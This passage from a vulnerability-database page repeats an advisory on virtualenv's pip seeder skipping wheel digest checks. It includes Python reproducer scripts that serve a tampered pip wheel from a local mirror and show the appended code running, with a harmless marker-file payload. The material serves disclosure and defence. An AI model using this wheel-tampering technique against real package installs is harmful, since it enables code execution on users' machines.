    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.5",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pdm",
            "purl": "pkg:brew/pdm"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.29.2_1"
                },
                {
                  "fixed": "2.29.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.5",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.5"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-pdm-CVE-2026-113717",
      "modified": "2026-11-19T09:17:08Z",
      "published": "2026-10-26T09:36:10Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-PIPENV-CVE-2026-113717 (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-26 09:13 – Updated: 2026-11-19 09:22 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pipenv",
            "purl": "pkg:brew/pipenv"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2026.8.0_1"
                },
                {
                  "fixed": "2026.10.1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env 